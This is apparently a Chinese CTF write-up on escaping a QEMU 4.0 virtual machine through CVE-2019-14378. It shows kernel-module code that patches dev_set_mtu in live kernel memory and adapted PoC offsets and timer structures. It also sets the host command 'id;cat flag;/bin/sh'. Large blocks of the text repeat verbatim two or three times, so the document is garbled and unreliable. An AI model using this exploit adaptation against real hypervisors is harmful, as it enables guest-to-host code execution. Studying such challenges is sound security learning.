昨天做出来的题目，但是今天还连不上服务器，所以在这里先发个WP记录一下。
第一次做这种题目，做出来还是挺兴奋的。刚下载下来的时候看到了qemu虚拟机还以为是普通的驱动题，所以在qemu里找了半天flag的位置，最后才发现本身是root账户，flag在qemu目录下，而且里面唯一的驱动模块是e1000.ko，不像一个出题人自定义的模块。
于是搜索E1000.ko，发现第一篇是“VirtualBox E1000 0day 虚拟机逃逸漏洞”
，时间是2018年11月7日的，因此怀疑是虚拟机逃逸的题目。但是虚拟化软件不对，加上QEMU关键字继续搜索，终于发现CVE-2019-14378这个漏洞，时间比较新，而且正好对应给我们的QEMU4.0版本，而且网上还提供了非常完整的利用代码。https://github.com/vishnudevtj/exploits/tree/master/qemu/CVE-2019-14378
于是下载、编译、执行，发现程序执行了 printf("Run\n$ ip link set dev %s mtu 12000\n",interface);就退出了，原来这个poc要求虚拟机必须设置mtu至少为12000，而默认的大小是1500，自然执行不了。网上的执行步骤里第一步是
sudo ifconfig ens3 mtu 12000 up
但是提供的虚拟机执行这一步的时候首先是提示ifconfig: SIOCSIFMTU: No such device，将设备名换成eth0后提示ifconfig: SIOCSIFMTU: Invalid argument。而且上面还有一条奇怪的信息显示（应该是作者方便我们调试，开启的DMESG信息）Invalid MTU 12000 requested, hw max 68，意思是最大只能68？（后面通过ida才发现这个是系统本身问题，这里本来应该显示最大值1500的，但错误的把最小值68输出来了）。
看起来这个系统有问题，不让我们设置超过1500的MTU。
题目提供的rootfs.cpio文件在ubuntu里可以直接打开，我把e1000.ko拖出来在ida里面看了看，里面函数名称很详细，代码结构也很清楚，可以直接找到e1000_change_mtu函数，里面对最大值的判断是a2 - 46 <= 0x3EC0，也就是16110字节，满足12000的要求。
难道是ifconfig程序有问题？这个系统里面的ifconfig是由busybox提供的，把busybox拖出来分析了一下，发现设置MTU部分也没有问题，也没有看到1500的限制。
那就只能是vmlinuz-4.8.0-52-generic这个内核文件有问题了。从网上搜索到https://packages.ubuntu.com/xenial-updates/linux-headers-4.8.0-52-generic下载了原始的内核文件包进行比对，发现两个文件一模一样，没有被作者修改过。
那就奇怪了，难道是Qemu里面的硬件设置或者PC-Bios里文件限制的？看文件修改时间也不像。那就是内核本身限制了？我试了我现有的4.15.0-50-generic和4.18.0-25-generic也是轻松修改MTU。（后面测试果然就是4.8.0-52这个版本本身限制了MTU。）
既然有了root权限，那就试试强改MTU吧，本来打算是直接修改驱动，把
e1000.ko 里的
e1000_change_mtu
输入固定成12000，但是发现这样修改后的模块没法insmod。会报一个129的未知错误，估计是存在自校验什么的把，也可能是.note.gnu.build-id这个节里的数据被内核校验了，具体原因还请有知道的大拿回复一下。反正我没找到直接hook驱动模块的方法。
那就只能安装一个一样的虚拟机环境来编译一个新的驱动了，从ubuntu官网下载了ubuntu-16.04.2-desktop-amd64.iso，安装了一个全新的系统，然后使用命令
sudo
apt-get install linux-image-4.8.0-52-generic linux-headers-4.8.0-52-generic
把内核修改成
vmlinuz-4.8.0-52-generic，编译了一个hello world驱动放进去，可以正常insmod。ok，现在终于进入内核了。
从linux-4.8.1.tar的源码里找到实现修改MTU的函数是dev_set_mtu，从system.map里找到该函数在内核里的地址是ffffffff81779620，在ida里看到对应的的代码段如下
if ( a1[148] == (_DWORD)a2 )
goto LABEL_16;
v3 = a1;
v4 = a2;
if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
{
if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
v17 = a1[149];
v18 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmin;
sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
}
goto LABEL_6;
}
v9 = a1[150];
if ( v9 && (unsigned int)a2 > v9 )
{
if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
LABEL_6:
v5 = -22;
goto LABEL_7;
}
v12 = a1[149];
v13 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmax;
v5 = -22;
sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
} 通过分析可以发现其中 a1[148]是系统MTU的值， a1[149]是系统下限， a1[150]是系统上限，最后打印invalidhwmax的时候使用的是 a1[149]，所以显示最大值是系统下限，这个应该是系统的一个bug。
只要通过修改内核代码，把判断语句中的 (unsigned int)a2 < a1[149] 改成
a1[150]
=
(unsigned int)a2
，就可以修改MTU上限了。
在驱动中添加对应代码
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
} 加载hello.ko后就可以正常修改MTU了。
之后就可以使用网上的POC进行测试了，原理网上讲的很详细，我就不重复了。由于QEMU版本不同，第一次肯定没有成功。首先通过ida更改QEMU Symbol offset如下
#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
//这个是用来伪造数据结构的地址，只要可以读写并且不与QEMU里其他地址冲突就可以
//poc里建议使用bss段，我选取了该段靠近结尾的地方
#define FAKE_STRUCT 0xffb300 然后通过输出的ICMP信息，发现QEMU对应位置的内存布局变了，数据包偏移0x40处不是CPU_UPDATE_STATE，而在内存0xc0出现了tcg_init_ctx的地址。
Recieved ICMP Replay : :
通过以上修正，就可以成功实现把QEMU弄崩溃了，崩溃的信息是ev->initialized的一个断言，说是QemuEvent未初始化。
跟踪调试程序，并与ida对比后发现是POC中的QEMU Structs定义与当前版本不符，修改结构体如下
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x30];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
}; 然后
崩溃的信息
变成了 mutex->initialized的一个断言，根据调试器显示的偏移，将对应位置修改如下
*(size_t *)&tl->active_timers_lock[0x28] = 1;
然后就可以成功触发了。只是由于程序涉及多次写内存，测试中不是每次都成功，但是只要多执行两次，基本cat flag的概率还是非常高的。
我把最后执行的命令改成了
char cmd[] = "id;cat flag;/bin/sh"; 本地测试一直没问题，可惜一直没有连上服务器，没法取得flag。
if ( a1[148] == (_DWORD)a2 )
goto LABEL_16;
v3 = a1;
v4 = a2;
if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
{
if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
v17 = a1[149];
v18 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmin;
sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
}
goto LABEL_6;
}
v9 = a1[150];
if ( v9 && (unsigned int)a2 > v9 )
{
if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
LABEL_6:
v5 = -22;
goto LABEL_7;
}
v12 = a1[149];
v13 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmax;
v5 = -22;
sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
} 通过分析可以发现其中 a1[148]是系统MTU的值， a1[149]是系统下限， a1[150]是系统上限，最后打印invalidhwmax的时候使用的是 a1[149]，所以显示最大值是系统下限，这个应该是系统的一个bug。
只要通过修改内核代码，把判断语句中的 (unsigned int)a2 < a1[149] 改成
a1[150]
=
(unsigned int)a2
，就可以修改MTU上限了。
在驱动中添加对应代码
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
} 加载hello.ko后就可以正常修改MTU了。
之后就可以使用网上的POC进行测试了，原理网上讲的很详细，我就不重复了。由于QEMU版本不同，第一次肯定没有成功。首先通过ida更改QEMU Symbol offset如下
#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
//这个是用来伪造数据结构的地址，只要可以读写并且不与QEMU里其他地址冲突就可以
//poc里建议使用bss段，我选取了该段靠近结尾的地方
#define FAKE_STRUCT 0xffb300 然后通过输出的ICMP信息，发现QEMU对应位置的内存布局变了，数据包偏移0x40处不是CPU_UPDATE_STATE，而在内存0xc0出现了tcg_init_ctx的地址。
Recieved ICMP Replay : :
通过以上修正，就可以成功实现把QEMU弄崩溃了，崩溃的信息是ev->initialized的一个断言，说是QemuEvent未初始化。
跟踪调试程序，并与ida对比后发现是POC中的QEMU Structs定义与当前版本不符，修改结构体如下
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x30];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
}; 然后
崩溃的信息
变成了 mutex->initialized的一个断言，根据调试器显示的偏移，将对应位置修改如下
*(size_t *)&tl->active_timers_lock[0x28] = 1;
然后就可以成功触发了。只是由于程序涉及多次写内存，测试中不是每次都成功，但是只要多执行两次，基本cat flag的概率还是非常高的。
我把最后执行的命令改成了
char cmd[] = "id;cat flag;/bin/sh"; 本地测试一直没问题，可惜一直没有连上服务器，没法取得flag。
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
} 加载hello.ko后就可以正常修改MTU了。
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